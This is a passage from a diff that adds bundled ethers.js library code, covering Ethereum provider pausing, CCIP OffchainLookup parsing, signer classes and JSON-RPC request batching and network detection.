%%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused) { + this.#lastBlockNumber = -1; + if (this.#pausedState != null) { + if (this.#pausedState == !!dropWhilePaused) { + return; + } + assert(false, "cannot change pause type; resume first", "UNSUPPORTED_OPERATION", { + operation: "pause" + }); + } + this._forEachSubscriber((s) => s.pause(dropWhilePaused)); + this.#pausedState = !!dropWhilePaused; + for (const timer of this.#timers.values()) { + // Clear the timer + if (timer.timer) { + clearTimeout(timer.timer); + } + // Remaining time needed for when we become unpaused + timer.time = getTime$1() - timer.time; + } + } + /** + * Resume the provider. + */ + resume() { + if (this.#pausedState == null) { + return; + } + this._forEachSubscriber((s) => s.resume()); + this.#pausedState = null; + for (const timer of this.#timers.values()) { + // Remaining time when we were paused + let timeout = timer.time; + if (timeout < 0) { + timeout = 0; + } + // Start time (in cause paused, so we con compute remaininf time) + timer.time = getTime$1(); + // Start the timer + setTimeout(timer.func, timeout); + } + } + } + function _parseString(result, start) { + try { + const bytes = _parseBytes(result, start); + if (bytes) { + return toUtf8String(bytes); + } + } + catch (error) { } + return null; + } + function _parseBytes(result, start) { + if (result === "0x") { + return null; + } + try { + const offset = getNumber(dataSlice(result, start, start + 32)); + const length = getNumber(dataSlice(result, offset, offset + 32)); + return dataSlice(result, offset + 32, offset + 32 + length); + } + catch (error) { } + return null; + } + function numPad(value) { + const result = toBeArray(value); + if (result.length > 32) { + throw new Error("internal; should not happen"); + } + const padded = new Uint8Array(32); + padded.set(result, 32 - result.length); + return padded; + } + function bytesPad(value) { + if ((value.length % 32) === 0) { + return value; + } + const result = new Uint8Array(Math.ceil(value.length / 32) * 32); + result.set(value); + return result; + } + const empty = new Uint8Array([]); + // ABI Encodes a series of (bytes, bytes, ...) + function encodeBytes(datas) { + const result = []; + let byteCount = 0; + // Add place-holders for pointers as we add items + for (let i = 0; i < datas.length; i++) { + result.push(empty); + byteCount += 32; + } + for (let i = 0; i < datas.length; i++) { + const data = getBytes(datas[i]); + // Update the bytes offset + result[i] = numPad(byteCount); + // The length and padded value of data + result.push(numPad(data.length)); + result.push(bytesPad(data)); + byteCount += 32 + Math.ceil(data.length / 32) * 32; + } + return concat(result); + } + const zeros = "0x0000000000000000000000000000000000000000000000000000000000000000"; + function parseOffchainLookup(data) { + const result = { + sender: "", urls: [], calldata: "", selector: "", extraData: "", errorArgs: [] + }; + assert(dataLength(data) >= 5 * 32, "insufficient OffchainLookup data", "OFFCHAIN_FAULT", { + reason: "insufficient OffchainLookup data" + }); + const sender = dataSlice(data, 0, 32); + assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), "corrupt OffchainLookup sender", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup sender" + }); + result.sender = dataSlice(sender, 12); + // Read the URLs from the response + try { + const urls = []; + const urlsOffset = getNumber(dataSlice(data, 32, 64)); + const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32)); + const urlsData = dataSlice(data, urlsOffset + 32); + for (let u = 0; u < urlsLength; u++) { + const url = _parseString(urlsData, u * 32); + if (url == null) { + throw new Error("abort"); + } + urls.push(url); + } + result.urls = urls; + } + catch (error) { + assert(false, "corrupt OffchainLookup urls", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup urls" + }); + } + // Get the CCIP calldata to forward + try { + const calldata = _parseBytes(data, 64); + if (calldata == null) { + throw new Error("abort"); + } + result.calldata = calldata; + } + catch (error) { + assert(false, "corrupt OffchainLookup calldata", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup calldata" + }); + } + // Get the callbackSelector (bytes4) + assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), "corrupt OffchainLookup callbaackSelector", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup callbaackSelector" + }); + result.selector = dataSlice(data, 96, 100); + // Get the extra data to send back to the contract as context + try { + const extraData = _parseBytes(data, 128); + if (extraData == null) { + throw new Error("abort"); + } + result.extraData = extraData; + } + catch (error) { + assert(false, "corrupt OffchainLookup extraData", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup extraData" + }); + } + result.errorArgs = "sender,urls,calldata,selector,extraData".split(/,/).map((k) => result[k]); + return result; + } + + /** + * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes + * are sufficent for most developers, but this is provided to + * fascilitate more complex Signers. + * + * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer] + */ + function checkProvider(signer, operation) { + if (signer.provider) { + return signer.provider; + } + assert(false, "missing provider", "UNSUPPORTED_OPERATION", { operation }); + } + async function populate(signer, tx) { + let pop = copyRequest(tx); + if (pop.to != null) { + pop.to = resolveAddress(pop.to, signer); + } + if (pop.from != null) { + const from = pop.from; + pop.from = Promise.all([ + signer.getAddress(), + resolveAddress(from, signer) + ]).then(([address, from]) => { + assertArgument(address.toLowerCase() === from.toLowerCase(), "transaction from mismatch", "tx.from", from); + return address; + }); + } + else { + pop.from = signer.getAddress(); + } + return await resolveProperties(pop); + } + /** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ + class AbstractSigner { + /** + * The provider this signer is connected to. + */ + provider; + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider) { + defineProperties(this, { provider: (provider || null) }); + } + async getNonce(blockTag) { + return checkProvider(this, "getTransactionCount").getTransactionCount(await this.getAddress(), blockTag); + } + async populateCall(tx) { + const pop = await populate(this, tx); + return pop; + } + async populateTransaction(tx) { + const provider = checkProvider(this, "populateTransaction"); + const pop = await populate(this, tx); + if (pop.nonce == null) { + pop.nonce = await this.getNonce("pending"); + } + if (pop.gasLimit == null) { + pop.gasLimit = await this.estimateGas(pop); + } + // Populate the chain ID + const network = await (this.provider).getNetwork(); + if (pop.chainId != null) { + const chainId = getBigInt(pop.chainId); + assertArgument(chainId === network.chainId, "transaction chainId mismatch", "tx.chainId", tx.chainId); + } + else { + pop.chainId = network.chainId; + } + // Do not allow mixing pre-eip-1559 and eip-1559 properties + const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null); + if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) { + assertArgument(false, "eip-1559 transaction do not support gasPrice", "tx", tx); + } + else if ((pop.type === 0 || pop.type === 1) && hasEip1559) { + assertArgument(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", tx); + } + if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) { + // Fully-formed EIP-1559 transaction (skip getFeeData) + pop.type = 2; + } + else if (pop.type === 0 || pop.type === 1) { + // Explicit Legacy or EIP-2930 transaction + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + assert(feeData.gasPrice != null, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { + operation: "getGasPrice" + }); + // Populate missing gasPrice + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + } + else { + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + if (pop.type == null) { + // We need to auto-detect the intended type of this transaction... + if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { + // The network supports EIP-1559! + // Upgrade transaction from null to eip-1559 + if (pop.authorizationList && pop.authorizationList.length) { + pop.type = 4; + } + else { + pop.type = 2; + } + if (pop.gasPrice != null) { + // Using legacy gasPrice property on an eip-1559 network, + // so use gasPrice as both fee properties + const gasPrice = pop.gasPrice; + delete pop.gasPrice; + pop.maxFeePerGas = gasPrice; + pop.maxPriorityFeePerGas = gasPrice; + } + else { + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + else if (feeData.gasPrice != null) { + // Network doesn't support EIP-1559... + // ...but they are trying to use EIP-1559 properties + assert(!hasEip1559, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { + operation: "populateTransaction" + }); + // Populate missing fee data + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + // Explicitly set untyped transaction to legacy + // @TODO: Maybe this shold allow type 1? + pop.type = 0; + } + else { + // getFeeData has failed us. + assert(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { + operation: "signer.getFeeData" + }); + } + } + else if (pop.type === 2 || pop.type === 3 || pop.type === 4) { + // Explicitly using EIP-1559 or EIP-4844 + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + //@TOOD: Don't await all over the place; save them up for + // the end for better batching + return await resolveProperties(pop); + } + async populateAuthorization(_auth) { + const auth = Object.assign({}, _auth); + // Add a chain ID if not explicitly set to 0 + if (auth.chainId == null) { + auth.chainId = (await checkProvider(this, "getNetwork").getNetwork()).chainId; + } + // @TODO: Take chain ID into account when populating noce? + if (auth.nonce == null) { + auth.nonce = await this.getNonce(); + } + return auth; + } + async estimateGas(tx) { + return checkProvider(this, "estimateGas").estimateGas(await this.populateCall(tx)); + } + async call(tx) { + return checkProvider(this, "call").call(await this.populateCall(tx)); + } + async resolveName(name) { + const provider = checkProvider(this, "resolveName"); + return await provider.resolveName(name); + } + async sendTransaction(tx) { + const provider = checkProvider(this, "sendTransaction"); + const pop = await this.populateTransaction(tx); + delete pop.from; + const txObj = Transaction.from(pop); + return await provider.broadcastTransaction(await this.signTransaction(txObj)); + } + // @TODO: in v7 move this to be abstract + authorize(authorization) { + assert(false, "authorization not implemented for this signer", "UNSUPPORTED_OPERATION", { operation: "authorize" }); + } + } + /** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ + class VoidSigner extends AbstractSigner { + /** + * The signer address. + */ + address; + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address, provider) { + super(provider); + defineProperties(this, { address }); + } + async getAddress() { return this.address; } + connect(provider) { + return new VoidSigner(this.address, provider); + } + #throwUnsupported(suffix, operation) { + assert(false, `VoidSigner cannot sign ${suffix}`, "UNSUPPORTED_OPERATION", { operation }); + } + async signTransaction(tx) { + this.#throwUnsupported("transactions", "signTransaction"); + } + async signMessage(message) { + this.#throwUnsupported("messages", "signMessage"); + } + async signTypedData(domain, types, value) { + this.#throwUnsupported("typed-data", "signTypedData"); + } + } + + /** + * There are many awesome community services that provide Ethereum + * nodes both for developers just starting out and for large-scale + * communities. + * + * @_section: api/providers/thirdparty: Community Providers [thirdparty] + */ + // Show the throttle message only once per service + const shown = new Set(); + /** + * Displays a warning in the console when the community resource is + * being used too heavily by the app, recommending the developer + * acquire their own credentials instead of using the community + * credentials. + * + * The notification will only occur once per service. + */ + function showThrottleMessage(service) { + if (shown.has(service)) { + return; + } + shown.add(service); + console.log("========= NOTICE ========="); + console.log(`Request-Rate Exceeded for ${service} (this message will not be repeated)`); + console.log(""); + console.log("The default API keys for each service are provided as a highly-throttled,"); + console.log("community resource for low-traffic projects and early prototyping."); + console.log(""); + console.log("While your application will continue to function, we highly recommended"); + console.log("signing up for your own API keys to improve performance, increase your"); + console.log("request rate/limit and enable other perks, such as metrics and advanced APIs."); + console.log(""); + console.log("For more details: https:/\/docs.ethers.org/api-keys/"); + console.log("=========================="); + } + + function copy(obj) { + return JSON.parse(JSON.stringify(obj)); + } + /** + * Some backends support subscribing to events using a Filter ID. + * + * When subscribing with this technique, the node issues a unique + * //Filter ID//. At this point the node dedicates resources to + * the filter, so that periodic calls to follow up on the //Filter ID// + * will receive any events since the last call. + * + * @_docloc: api/providers/abstract-provider + */ + class FilterIdSubscriber { + #provider; + #filterIdPromise; + #poller; + #running; + #network; + #hault; + /** + * Creates a new **FilterIdSubscriber** which will used [[_subscribe]] + * and [[_emitResults]] to setup the subscription and provide the event + * to the %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#filterIdPromise = null; + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#network = null; + this.#hault = false; + } + /** + * Sub-classes **must** override this to begin the subscription. + */ + _subscribe(provider) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle the events. + */ + _emitResults(provider, result) { + throw new Error("subclasses must override this"); + } + /** + * Sub-classes **must** override this handle recovery on errors. + */ + _recover(provider) { + throw new Error("subclasses must override this"); + } + async #poll(blockNumber) { + try { + // Subscribe if necessary + if (this.#filterIdPromise == null) { + this.#filterIdPromise = this._subscribe(this.#provider); + } + // Get the Filter ID + let filterId = null; + try { + filterId = await this.#filterIdPromise; + } + catch (error) { + if (!isError(error, "UNSUPPORTED_OPERATION") || error.operation !== "eth_newFilter") { + throw error; + } + } + // The backend does not support Filter ID; downgrade to + // polling + if (filterId == null) { + this.#filterIdPromise = null; + this.#provider._recoverSubscriber(this, this._recover(this.#provider)); + return; + } + const network = await this.#provider.getNetwork(); + if (!this.#network) { + this.#network = network; + } + if (this.#network.chainId !== network.chainId) { + throw new Error("chaid changed"); + } + if (this.#hault) { + return; + } + const result = await this.#provider.send("eth_getFilterChanges", [filterId]); + await this._emitResults(this.#provider, result); + } + catch (error) { + console.log("@TODO", error); + } + this.#provider.once("block", this.#poller); + } + #teardown() { + const filterIdPromise = this.#filterIdPromise; + if (filterIdPromise) { + this.#filterIdPromise = null; + filterIdPromise.then((filterId) => { + if (this.#provider.destroyed) { + return; + } + this.#provider.send("eth_uninstallFilter", [filterId]); + }); + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#hault = true; + this.#teardown(); + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#teardown(); + } + this.#provider.off("block", this.#poller); + } + resume() { this.start(); } + } + /** + * A **FilterIdSubscriber** for receiving contract events. + * + * @_docloc: api/providers/abstract-provider + */ + class FilterIdEventSubscriber extends FilterIdSubscriber { + #event; + /** + * Creates a new **FilterIdEventSubscriber** attached to %%provider%% + * listening for %%filter%%. + */ + constructor(provider, filter) { + super(provider); + this.#event = copy(filter); + } + _recover(provider) { + return new PollingEventSubscriber(provider, this.#event); + } + async _subscribe(provider) { + const filterId = await provider.send("eth_newFilter", [this.#event]); + return filterId; + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit(this.#event, provider._wrapLog(result, provider._network)); + } + } + } + /** + * A **FilterIdSubscriber** for receiving pending transactions events. + * + * @_docloc: api/providers/abstract-provider + */ + class FilterIdPendingSubscriber extends FilterIdSubscriber { + async _subscribe(provider) { + return await provider.send("eth_newPendingTransactionFilter", []); + } + async _emitResults(provider, results) { + for (const result of results) { + provider.emit("pending", result); + } + } + } + + /** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ + // @TODO: + // - Add the batching API + // https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false + const Primitive = "bigint,boolean,function,number,string,symbol".split(/,/g); + //const Methods = "getAddress,then".split(/,/g); + function deepCopy(value) { + if (value == null || Primitive.indexOf(typeof (value)) >= 0) { + return value; + } + // Keep any Addressable + if (typeof (value.getAddress) === "function") { + return value; + } + if (Array.isArray(value)) { + return (value.map(deepCopy)); + } + if (typeof (value) === "object") { + return Object.keys(value).reduce((accum, key) => { + accum[key] = value[key]; + return accum; + }, {}); + } + throw new Error(`should not happen: ${value} (${typeof (value)})`); + } + function stall$3(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); + } + function getLowerCase(value) { + if (value) { + return value.toLowerCase(); + } + return value; + } + function isPollable(value) { + return (value && typeof (value.pollingInterval) === "number"); + } + const defaultOptions = { + polling: false, + staticNetwork: null, + batchStallTime: 10, + batchMaxSize: (1 << 20), + batchMaxCount: 100, + cacheTimeout: 250, + pollingInterval: 4000 + }; + // @TODO: Unchecked Signers + class JsonRpcSigner extends AbstractSigner { + address; + constructor(provider, address) { + super(provider); + address = getAddress(address); + defineProperties(this, { address }); + } + connect(provider) { + assert(false, "cannot reconnect JsonRpcSigner", "UNSUPPORTED_OPERATION", { + operation: "signer.connect" + }); + } + async getAddress() { + return this.address; + } + // JSON-RPC will automatially fill in nonce, etc. so we just check from + async populateTransaction(tx) { + return await this.populateCall(tx); + } + // Returns just the hash of the transaction after sent, which is what + // the bare JSON-RPC API does; + async sendUncheckedTransaction(_tx) { + const tx = deepCopy(_tx); + const promises = []; + // Make sure the from matches the sender + if (tx.from) { + const _from = tx.from; + promises.push((async () => { + const from = await resolveAddress(_from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + })()); + } + else { + tx.from = this.address; + } + // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user + // wishes to use this, it is easy to specify explicitly, otherwise + // we look it up for them. + if (tx.gasLimit == null) { + promises.push((async () => { + tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address }); + })()); + } + // The address may be an ENS name or Addressable + if (tx.to != null) { + const _to = tx.to; + promises.push((async () => { + tx.to = await resolveAddress(_to, this.provider); + })()); + } + // Wait until all of our properties are filled in + if (promises.length) { + await Promise.all(promises); + } + const hexTx = this.provider.getRpcTransaction(tx); + return this.provider.send("eth_sendTransaction", [hexTx]); + } + async sendTransaction(tx) { + // This cannot be mined any earlier than any recent block + const blockNumber = await this.provider.getBlockNumber(); + // Send the transaction + const hash = await this.sendUncheckedTransaction(tx); + // Unfortunately, JSON-RPC only provides and opaque transaction hash + // for a response, and we need the actual transaction, so we poll + // for it; it should show up very quickly + return await (new Promise((resolve, reject) => { + const timeouts = [1000, 100]; + let invalids = 0; + const checkTx = async () => { + try { + // Try getting the transaction + const tx = await this.provider.getTransaction(hash); + if (tx != null) { + resolve(tx.replaceableTransaction(blockNumber)); + return; + } + } + catch (error) { + // If we were cancelled: stop polling. + // If the data is bad: the node returns bad transactions + // If the network changed: calling again will also fail + // If unsupported: likely destroyed + if (isError(error, "CANCELLED") || isError(error, "BAD_DATA") || + isError(error, "NETWORK_ERROR") || isError(error, "UNSUPPORTED_OPERATION")) { + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + reject(error); + return; + } + // Stop-gap for misbehaving backends; see #4513 + if (isError(error, "INVALID_ARGUMENT")) { + invalids++; + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + if (invalids > 10) { + reject(error); + return; + } + } + // Notify anyone that cares; but we will try again, since + // it is likely an intermittent service error + this.provider.emit("error", makeError("failed to fetch transation after sending (will try again)", "UNKNOWN_ERROR", { error })); + } + // Wait another 4 seconds + this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000); + }; + checkTx(); + })); + } + async signTransaction(_tx) { + const tx = deepCopy(_tx); + // Make sure the from matches the sender + if (tx.from) { + const from = await resolveAddress(tx.from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + } + else { + tx.from = this.address; + } + const hexTx = this.provider.getRpcTransaction(tx); + return await this.provider.send("eth_signTransaction", [hexTx]); + } + async signMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("personal_sign", [ + hexlify(message), this.address.toLowerCase() + ]); + } + async signTypedData(domain, types, _value) { + const value = deepCopy(_value); + // Populate any ENS names (in-place) + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value) => { + const address = await resolveAddress(value); + assertArgument(address != null, "TypedData does not support null address", "value", value); + return address; + }); + return await this.provider.send("eth_signTypedData_v4", [ + this.address.toLowerCase(), + JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value)) + ]); + } + async unlock(password) { + return this.provider.send("personal_unlockAccount", [ + this.address.toLowerCase(), password, null + ]); + } + // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign + async _legacySignMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("eth_sign", [ + this.address.toLowerCase(), hexlify(message) + ]); + } + } + /** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ + class JsonRpcApiProvider extends AbstractProvider { + #options; + // The next ID to use for the JSON-RPC ID field + #nextId; + // Payloads are queued and triggered in batches using the drainTimer + #payloads; + #drainTimer; + #notReady; + #network; + #pendingDetectNetwork; + #scheduleDrain() { + if (this.#drainTimer) { + return; + } + // If we aren't using batching, no harm in sending it immediately + const stallTime = (this._getOption("batchMaxCount") === 1) ? 0 : this._getOption("batchStallTime"); + this.#drainTimer = setTimeout(() => { + this.#drainTimer = null; + const payloads = this.#payloads; + this.#payloads = []; + while (payloads.length) { + // Create payload batches that satisfy our batch constraints + const batch = [(payloads.shift())]; + while (payloads.length) { + if (batch.length === this.#options.batchMaxCount) { + break; + } + batch.push((payloads.shift())); + const bytes = JSON.stringify(batch.map((p) => p.payload)); + if (bytes.length > this.#options.batchMaxSize) { + payloads.unshift((batch.pop())); + break; + } + } + // Process the result to each payload + (async () => { + const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload)); + this.emit("debug", { action: "sendRpcPayload", payload }); + try { + const result = await this._send(payload); + this.emit("debug", { action: "receiveRpcResult", result }); + // Process results in batch order + for (const { resolve, reject, payload } of batch) { + if (this.destroyed) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + continue; + } + // Find the matching result + const resp = result.filter((r) => (r.id === payload.id))[0]; + // No result; the node failed us in unexpected ways + if (resp == null) { + const error = makeError("missing response for request", "BAD_DATA", { + value: result, info: { payload } + }); + this.emit("error", error); + reject(error); + continue; + } + // The response is an error + if ("error" in resp) { + reject(this.getRpcError(payload, resp)); + continue; + } + // All good; send the result + resolve(resp.result); + } + } + catch (error) { + this.emit("debug", { action: "receiveRpcError", error }); + for (const { reject } of batch) { + // @TODO: augment the error with the payload + reject(error); + } + } + })(); + } + }, stallTime); + } + constructor(network, options) { + super(network, options); + this.#nextId = 1; + this.#options = Object.assign({}, defaultOptions, options || {}); + this.#payloads = []; + this.#drainTimer = null; + this.#network = null; + this.#pendingDetectNetwork = null; + { + let resolve = null; + const promise = new Promise((_resolve) => { + resolve = _resolve; + }); + this.#notReady = { promise, resolve }; + } + const staticNetwork = this._getOption("staticNetwork"); + if (typeof (staticNetwork) === "boolean") { + assertArgument(!staticNetwork || network !== "any", "staticNetwork cannot be used on special network 'any'", "options", options); + if (staticNetwork && network != null) { + this.#network = Network.from(network); + } + } + else if (staticNetwork) { + // Make sure any static network is compatbile with the provided netwrok + assertArgument(network == null || staticNetwork.matches(network), "staticNetwork MUST match network object", "options", options); + this.#network = staticNetwork; + } + } + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key) { + return this.#options[key]; + } + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network() { + assert(this.#network, "network is not available yet", "NETWORK_ERROR"); + return this.#network; + } + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + async _perform(req) { + // Legacy networks do not like the type field being passed along (which + // is fair), so we delete type if it is 0 and a non-EIP-1559 network + if (req.method === "call" || req.method === "estimateGas") { + let tx = req.transaction; + if (tx && tx.type != null && getBigInt(tx.type)) { + // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559 + if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { + const feeData = await this.getFeeData(); + if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { + // Network doesn't know about EIP-1559 (and hence type) + req = Object.assign({}, req, { + transaction: Object.assign({}, tx, { type: undefined }) + }); + } + } + } + } + const request = this.getRpcRequest(req); + if (request != null) { + return await this.send(request.method, request.args); + } + return super._perform(req); + } + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + async _detectNetwork() { + const network = this._getOption("staticNetwork"); + if (network) { + if (network === true) { + if (this.#network) { + return this.#network; + } + } + else { + return network; + } + } + if (this.#pendingDetectNetwork) { + return await this.#pendingDetectNetwork; + } + // If we are ready, use ``send``, which enabled requests to be batched + if (this.ready) { + this.#pendingDetectNetwork = (async () => { + try { + const result = Network.from(getBigInt(await this.send("eth_chainId", []))); + this.#pendingDetectNetwork = null; + return result; + } + catch (error) { + this.#pendingDetectNetwork = null; + throw error; + } + })(); + return await this.#pendingDetectNetwork; + } + // We are not ready yet; use the primitive _send + this.#pendingDetectNetwork = (async () => { + const payload = { + id: this.#nextId++, method: "eth_chainId", params: [], jsonrpc: "2.0" + }; + this.emit("debug", { action: "sendRpcPayload", payload }); + let result; + try { + result = (await this._send(payload))[0]; + this.#pendingDetectNetwork = null; + } + catch (error) { + this.#pendingDetectNetwork = null; + this.emit("debug", { action: "receiveRpcError", error }); + throw error; + } + this.emit("debug", { action: "receiveRpcResult", result }); + if ("result" in result) { + return Network.from(getBigInt(result.result)); + } + throw this.getRpcError(payload, result); + })(); + return await this.#pendingDetectNetwork; + } + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start() { + if (this.#notReady == null || this.#notReady.resolve == null) { + return; + } + this.#notReady.resolve(); + this.#notReady = null; + (async () => { + // Bootstrap the network + while (this.#network == null && !this.destroyed) { + try { + this.#network = await this._detectNetwork(); + } + catch (error) { + if (this.destroyed) { + break; + } + console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"); + this.emit("error", makeError("failed to bootstrap network detection", "NETWORK_ERROR", { event: "initial-network-discovery", info: { error } })); + await stall$3(1000); + } + } + // Start dispatching requests + this.#scheduleDrain(); + })(); + } + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + async _waitUntilReady() { + if (this.#notReady == null) { + return; + } + return await this.#notReady.promise; + } + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub) { + // Pending Filters aren't availble via polling + if (sub.type === "pending") { + return new FilterIdPendingSubscriber(this); + } + if (sub.type === "event") { + if (this._getOption("polling")) { + return new PollingEventSubscriber(this, sub.filter); + } + return new FilterIdEventSubscriber(this, sub.filter); + } + // Orphaned Logs are handled automatically, by the filter, since + // logs with removed are emitted by it + if (sub.type === "orphan" && sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("orphan"); + } + return super._getSubscriber(sub); + } + /** + * Returns true only if the [[_start]] has been called. + */ + get ready() { return this.#notReady == null; } + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx) { + const result = {}; + // JSON-RPC now requires numeric values to be "quantity" values + ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach((key) => { + if (tx[key] == null) { + return; + } + let dstKey = key; + if (key === "gasLimit") { + dstKey = "gas"; + } + result[dstKey] = toQuantity(getBigInt(tx[key], `tx.${key}`)); + }); + // Make sure addresses and data are lowercase + ["from", "to", "data"].forEach((key) => { + if (tx[key] == null) { + return; + } + result[key] = hexlify(tx[key]); + }); + // Normalize the access list object + if (tx.accessList) { + result["accessList"] = accessListify(tx.accessList); + } + if (tx.blobVersionedHashes) { + // @TODO: Remove this case once EIP-4844 added to prepared tx + result["blobVersionedHashes"] = tx.blobVersionedHashes.map(h => h.toLowerCase()); + } + if (tx.authorizationList) { + result["authorizationList"] = tx.authorizationList.map((_a) => { + const a = authorizationify(_a); + return { + address: a.address, + nonce: toQuantity(a.nonce), + chainId: toQuantity(a.chainId), + yParity: toQuantity(a.signature.yParity), + r: toQuantity(a.signature.r), + s: toQuantity(a.signature.s), + }; + }); + } + // @TODO: blobs should probably also be copied over, optionally + // accounting for the kzg property to backfill blobVersionedHashes + // using the commitment. Or should that be left as an exercise to + // the caller? + return result; + } + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req) { + switch (req.method) { + case "chainId": + return { method: "eth_chainId", args: [] }; + case "getBlockNumber": + return { method: "eth_blockNumber", args: [] }; + case "getGasPrice": + return { method: "eth_gasPrice", args: [] }; + case "getPriorityFee": + return { method: "eth_maxPriorityFeePerGas", args: [] }; + case "getBalance": + return { + method: "eth_getBalance", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getTransactionCount": + return { + method: "eth_getTransactionCount", + args: 